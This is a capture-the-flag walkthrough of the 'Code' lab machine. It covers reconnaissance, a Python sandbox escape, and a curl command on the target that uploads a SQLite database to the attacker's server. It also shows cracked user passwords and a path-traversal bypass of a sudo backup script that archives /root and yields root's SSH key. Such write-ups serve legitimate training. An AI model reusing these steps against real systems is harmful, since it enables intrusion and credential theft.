![[Code.png]]
# Reconnaissance
Started off with an Nmap scan and specified the following options:
- `-sC` to use default scripts
- `-sV` to gather service/version information
- `-oA` to save the output to a file
- `-p-` to scan all TCP ports
Examining the results, there are only two open ports: TCP ports 22 and 5000.
```bash
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~]
└──╼ [★]$ echo -e "\nexport target_ip=10.129.24.143\nexport target_domain=code.htb" >> ~/.bashrc
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~]
└──╼ [★]$ exec bash
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ echo "$target_ip $target_domain" | sudo tee -a /etc/hosts
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-20 14:31 CDT
Nmap scan report for 10.129.24.143
Host is up (0.010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds
```
# Initial Access
## Fuzzing a Python Code Editor
Before navigating to TCP port 5000, I started Burp Suite to proxy all the web traffic. With Burp Suite's built-in browser, I navigated to the open TCP port and was greeted with a Python Code Editor. I was able to run Python code, but when I tried to get a reverse shell, it was blocked due to the use of restricted keywords, specifically `import`. This prevented me from importing various modules to get command execution. If a module can't be loaded directly with `import`, can it be loaded indirectly?
![[Pasted image 20250720143459.png]]
![[Pasted image 20250720143715.png]]
# Execution
## Python Subclass Bypass
Python, by default, imports many modules into memory. Some of which can be abused. Once the modules are listed, it is possible to load them indirectly by referencing their index. The output in the browser is truncated; therefore, Burp Suite was used to view the entire output. After a bit of enumeration, I found a subclass of interest, `subprocess.popen`. This subclass can be abused to run system commands. However, before I can do that, I need to find its index, which is why I'm using a for loop. Once that is identified, I can call it indirectly and pass it the required arguments to get command execution.
![[Pasted image 20250720144733.png]]
![[Pasted image 20250720144811.png]]
![[Pasted image 20250720144907.png]]
![[Pasted image 20250720145230.png]]
# Credential Access
## Cracking Hashes in SQLite Database
Enumeration of the system led to the discovery of a SQLite database file. After transferring it to my Kali box, I was able to extract and crack the hashes. Due to password reuse, I was able to SSH into the target system with `martin`'s credentials.
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
app-production@code:~/app$ ls -latr
ls -latr
total 32
drwxr-xr-x 3 app-production app-production 4096 Aug 27 2024 static
drwxr-x--- 5 app-production app-production 4096 Sep 16 2024 ..
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 .
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:32 instance
app-production@code:~/app$ cat app.py
cat app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
app-production@code:~/app$ find / -name database.db 2>/dev/null
find / -name database.db 2>/dev/null
/home/app-production/app/instance/database.db
app-production@code:~/app$ file /home/app-production/app/instance/database.db
file /home/app-production/app/instance/database.db
/home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001
```
```bash
# Ran on Kali
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ python3 -m uploadserver -d /tmp --basic-auth cspsec:026yucqqm0 8081
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
# Ran on target
app-production@code:~/app$ curl -X POST http://10.10.14.169:8081/upload -F 'files=@/home/app-production/app/instance/database.db' -u cspsec:026yucqqm0
<tion/app/instance/database.db' -u cspsec:026yucqqm0
```
```bash
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ sqlite3 /tmp/database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
code user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ echo -e "759b74ce43947f5f4c91aeddc3e5bad3\n3de6f30c4a09c27fc71932bfc68474be" > hashes.txt
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
```
```
development::development
martin::nafeelswordsmaster
```
# Privilege Escalation
## Abusing a Directory Traversal Vulnerability with Sudo
As always, one of the first things I do is list what the current user can run with `sudo`. Turns out `martin` can run a backup script. The script attempts to sanitize file paths to prevent a directory traversal attack. Fortunately, it does not do a good job at that. After a bit of trial and error, I was able to create a backup of the `/root` directory. After transferring that file to my Kali box, I was able to extract its contents and had access to `root`'s SSH private key.
```bash
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
```
```bash
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
```
```bash
martin@code:~$ cat ~/backups/task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
```
```bash
martin@code:~$ cat > ~/root-exfil.json << EOF
> {
> "destination": "/home/martin/",
> "multiprocessing": true,
> "verbose_log": true,
> "directories_to_archive": [
> "/home/../root"
> ]
> }
> EOF
```
```
martin@code:~$ json_file=~/root-exfil.json
martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file"
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/root"
]
}
```
```bash
martin@code:~$ cat > ~/root-exfil.json << EOF
> {
> "destination": "/home/martin/",
> "multiprocessing": true,
> "verbose_log": true,
> "directories_to_archive": [
> "/home/....//root"
> ]
> }
> EOF
```
```bash
martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file"
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/../root"
]
}
martin@code:~$ sudo /usr/bin/backy.sh ~/root-exfil.json
2025/07/20 22:35:02 🍀 backy 1.2
2025/07/20 22:35:02 📋 Working with /home/martin/root-exfil.json ...
2025/07/20 22:35:02 💤 Nothing to sync
2025/07/20 22:35:02 📤 Archiving: [/home/../root]
2025/07/20 22:35:02 📥 To: /home/martin ...
2025/07/20 22:35:02 📦
tar: Removing leading `/home/../' from member names
/home/../root/
/home/../root/.local/
/home/../root/.local/share/
/home/../root/.local/share/nano/
/home/../root/.local/share/nano/search_history
/home/../root/.selected_editor
/home/../root/.sqlite_history
/home/../root/.profile
/home/../root/scripts/
/home/../root/scripts/cleanup.sh
/home/../root/scripts/backups/
/home/../root/scripts/backups/task.json
/home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/../root/scripts/database.db
/home/../root/scripts/cleanup2.sh
/home/../root/.python_history
/home/../root/root.txt
/home/../root/.cache/
/home/../root/.cache/motd.legal-displayed
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys
/home/../root/.bash_history
/home/../root/.bashrc
```
```bash
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp]
└──╼ [★]$ scp martin@$target_ip:~/code_home_.._root_2025_July.tar.bz2 .
[email protected]'s password:
code_home_.._root_2025_July.tar.bz2 100% 13KB 606.4KB/s 00:00
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp]
└──╼ [★]$ mkdir /tmp/loot && tar -xvf code_home_.._root_2025_July.tar.bz2 -C /tmp/loot
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp/loot/root/.ssh]
└──╼ [★]$ ssh -i id_rsa root@$target_ip
```
# References
- [Bypass Python Sandbox](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html?highlight=python%20sand#bypass-pickle-sandbox-with-the-default-installed-python-packages)
- [Python Sandbox Escape](https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/pwn/linux/sandbox/python-sandbox-escape.md)
- [Python UploadServer Documentation](https://pypi.org/project/uploadserver/)
- [subprocess.Popen Documentation](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)